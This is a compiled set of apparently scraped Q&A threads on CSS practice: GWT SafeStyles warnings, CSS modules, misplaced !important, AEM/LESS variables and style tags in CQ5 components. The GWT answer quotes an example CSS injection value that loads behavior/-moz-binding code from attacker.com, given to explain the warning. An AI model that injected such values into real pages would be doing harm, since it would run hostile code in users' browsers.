GWT "Template with variable in CSS attribute context" Warning is bad? - css

Im using obfuscated styles eg.
<ui:style>
.explanation {
text-align: center;
}
</ui:style>
...
<g:HTMLPanel>
<div class="{style.explanation}">
...
Is this bad practice?
It looks ok when I check the HTML, or perhaps I'm misunderstanding the warning..
Im getting the following warning in Development Mode with GWT :
Template with variable in CSS attribute context:
The template code generator cannot guarantee HTML-safety of the template
-- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context

class is not a "CSS attribute context", only style is (and <style>); so I doubt the warning comes from the code you showed (which is exactly how things are meant to be used, so not a bad practice at all).
The warning appears when you have things like style='width: {foo}; height: {bar}', because there's no guarantee (at compile-time) that foo or bar won't contain something like 100%; behavior: url(http://attacker.com/injection.htc); -moz-binding: url(http://attacker.com/injection.xbl). In that case, you should rather use style='{myStyle}' where myStyle is an instance of SafeStyles.

Related

Benefits of using CSS modules with React/Vue

I would like to understand the benefits of using CSS Modules with React/Vue.
Currently in my company developers use the following in development:
return (
<div className={styles.User}>
<div className={styles.name}>...</div>
</div>
)
While using a CSS module file, something like:
.User {
background-color: var(--bg-color, red);
.name { color: white; }
}
What should an HTML output such as:
<div class="_User_xyz_1">
<div class="_name_abc_1">...</div>
</div>
Which is a bit confusing for me, as this "encodes" all the class names and creates a great deal of difficulty if I need to do a parent-level modification. Eg.:
<div class="SomeParent">
<User name="David" />
</div>
So:
.SomeParent {
> .User {
--bg-color: blue; // Will not words, because .User is not .User, in fact.
}
}
In personal projects, I prefer to name the primary element of the template by defining it as a "major class", the main. Eg.:
return (
<div className="User">
<div className="name">...</div>
</div>
)
And a regular CSS/SCSS:
.User {
background-color: var(--bg-color, red);
> .name { color: white; }
}
So a parent element's code can affect a child element under expected and controlled conditions.
My question here is: what are the benefits of using the model that my company uses that I am not able to see? Am I missing something using a more "moderate/primitive" model?
Another possibility is: can I modify the style of child elements through the parent element, even with the name of the classes being encoded this way?
CSS modules generate custom classnames for each style and therefore prevent the problem you are facing in your solution. Because each css module style has its own classname you cannot accidentially change a child components style.
SCSS module styles are applied by very unique classes thanks to the hash, and therefore have no real risk of unintended style collisions. This allows you to use short, meaningful class names without having to think of any global styles you might be colliding with. You can confidently style without fear of breaking things elsewhere in your application.
You could, in theory, add generic class names which are not applied via your scss modules to give your parent component a class name with which to work.
Personally I think the React components should be as modular and generic as possible. I think the way to go is such that types are exported from one component. Styles should be inline or at the bottom at a styles object.
hash className, preventing other developers from quickly decompiling your style scheme.

Invalid property value after deploying in Prodction Environment

I'm a bit puzzled why this happening in different server environment.
I have a global css class declared in my style.scss in my Angular application. This class was used in different pages with data entry form.
.form-container ) > * {
width: 100%:
padding : 1.25rem !important 1.25rem;
}
If you can see, there's indeed something wrong with the value of padding where, !important was placed before the last value.
Below how it looks like when I inspect it in dev tool.
Pre Production
Production
As you can see, in Pre Production, it was strike through which means, padding was not applied in my website where I used the said class. However, on the other snip (Production) it became valid value but, the last value 1.25rem was omitted.
I would like to know why in Production does not complain with the value of padding but in Pre Production it does?
I suspect maybe this is something to do when bundling the angular app using ng build --prod, BUT not really sure why this happened.
TIA!
!important must always be mentioned at the end of a definition.
The below definition is actually invalid so the browser ignores it.
padding : 1.25rem !important 1.25rem;
Whereas the packager/minifier detects the !important and calls it as the end of the definition. It is working as expected.
It is doing the right thing by removing everything beyond the !important marker to make the definition valid.

How can one pass component property values to the css/less clientlibs for that component? AEM 6.2

I'm still learning the variable scopes and rendering order of AEM. I have this trivial problem where I would like to take an integer input from my dialog box, and set that value as the padding of a specified class.
padding/padding.html:
<div class="my-padding">Pad me up!</div>
padding/clientlibs/padding.less
.my-padding {
padding-top: ${properties.top}px;
padding-right: ${properties.right}px;
padding-bottom: ${properties.bottom}px;
padding-left: ${properties.left}px;
}
The WCMUse properties for the component are outside less' scope, but I don't know the best-practice to accomplish this would be.
I've tried directly injecting Javascript into less, but this doesn't compile correctly and just transforms the function into a string.
padding-2.less
.my-padding-2{
padding: `function(){return 10;}` px;
}
compiles to this:
client-libs.css
...
.my-padding-2{
padding: function(){return 10;} px;
}
...
As such there is no direct way of passing attributes/variables to CSS, you could use JQUERY to do this, that said I am not sure why would you want to give authors flexibility to change the design of a component. Its neither their role to do it nor how an AEM component should be implemented.
Each component adheres to a design, in case you are looking for a way to support different designs for a same component there are other ways to do it all of which will require you to have different CSS classes for each configurations. Once you have done that you can provide authors a predefined choice of design of the component to pick from. This can be done in two ways -
Like RichText components allows for style classes to be applied, you can provide same behavior to author by providing a drop down for different styles that are supported for the component.
You could use concept of choosing a design via providing options for the view (as it happens in the OOTB List component). Each option maps to a component script that have implementation for a specific design.

Referencing paths from a css element to another file

I'd like to be able to put all of my paths in one file ("property file"), so whenever I refernce them , the provided functionality should imiplement:
some_file.css
#facebook_link {
background:url(../refereced_file/$facebook_link_url); // ?
background-repeat:no-repeat;
width: 12px;;
height: 23px;
}
refereced_file
$facebook_link_url : ../images/old/facebook.png
I'm aware, as a server-side developer (mostly), that the mechanism of the processing of the browser is different from a compiler, and yet, I want to be able to achieve the property file functionality ( "propObject.getProperty(key)").
I'm not using Saas or SCSS, nor CSS variables.
Thought of making another CSS file with an element and referencing to it, but have no idea how to.
I think the only way is either to use SAAS/SCSS or parsing the css file on your server and look for any variables which need to be replaced with a value from your property.

CQ5.5 Components with CSS script

as i am new to CQ5.5
I was wondering if it is possible to add a css script within a CQ5.5 componenet.
Script as follow alike
< style type="text/css">
.testScript
{
margin: 0;
padding: 0;
-webkit-border-radius: 5px 5px 0 0;
-moz-border-radius: 5px 5px 0 0;
border-radius: 5px 5px 0 0;
}
< /style>
As when i tried to do this and run my html site through the wc3 validator, i have to following error
document type does not allow element "style" here < style
type="text/css" > The element named above was found in a context where
it is not allowed. This could mean that you have incorrectly nested
elements -- such as a "style" element in the "body" section instead of
inside "head" -- or two elements that overlap (which is not allowed).
One common cause for this error is the use of XHTML syntax in HTML
documents. Due to HTML's rules of implicitly closed elements, this
error can create cascading effects. For instance, using XHTML's
"self-closing" tags for "meta" and "link" in the "head" section of a
HTML document may cause the parser to infer the end of the "head"
section and the beginning of the "body" section
Does it means it requires it to enclosed within the tag of an or it is not advisable to write css within the codes of an component?
Any other ways to do it?
The STYLE tag, according to the w3c recommendation, allows authors to put style sheet rules in the head of the document. HTML permits any number of STYLE elements in the HEAD section of a document, though it is not explicitly stated that you shouldn't be adding it elsewhere in the document.
Going by the standards, validators would fail this test case as HTML DTD expects it to be within the HEAD section. And that is exactly the reason why you get the error mentioned in your question. But then, you would still get the expected result because almost all the modern browsers support it anyway.
If you are to follow the best practices, it is advisable to avoid specifying the styles within the component's JSP because
If a component is added to the page multiple times, the same css would be added in multiple locations in the page.
It is invalid markup as per the DTD.
It would become difficult to maintain and manage, and any change
requires the developer to look at multiple locations.
It is ugly.
One way to work around this is using the Client-side HTML library(clientlibs) feature provided by CQ5(AEM). This allows you to organize your component specific styles and scripts within the corresponding clientlibrary folders and using the cq:includeClientLib tag you can include them in your JSP.
But this would include a <link> or <script> at the corresponding location where the cq:includeClientLib is used, which again is an invalid markup according to the w3c validator. Also, adding the component multiple times in the same page, leads to inclusion of multiple link tags in the document.
To overcome this, you could use the embed feature available in clientlibs to embed all the component specific client libraries of your project into another clientlibrary within your design folder present in /etc/designs. Then you can include the embedded clientlib in your page's head section along with your projects global clientlibs. This makes sure that all your component specific styles are added only once, as well as access is restricted to application specific folders to the end users as your files are delivered from /etc and not /apps.
For more on creating and using Client-Side HTML Libraries, refer this doc.
The best way to organize this is using an specific namespace on your component such as:
<!-- jsp component -->
<div class="namespace">
<!-- your stuff here -->
<h1> <%= title%> </h1>
</div>
and then create an specific design as a custom-skin and then using that namespace:
/* newDesign - css file */
.namespace h1{ color:red }
or with less:
/* newDesign - less file */
.namespace{
h1{ color:red; }
}
hope it can help.

Resources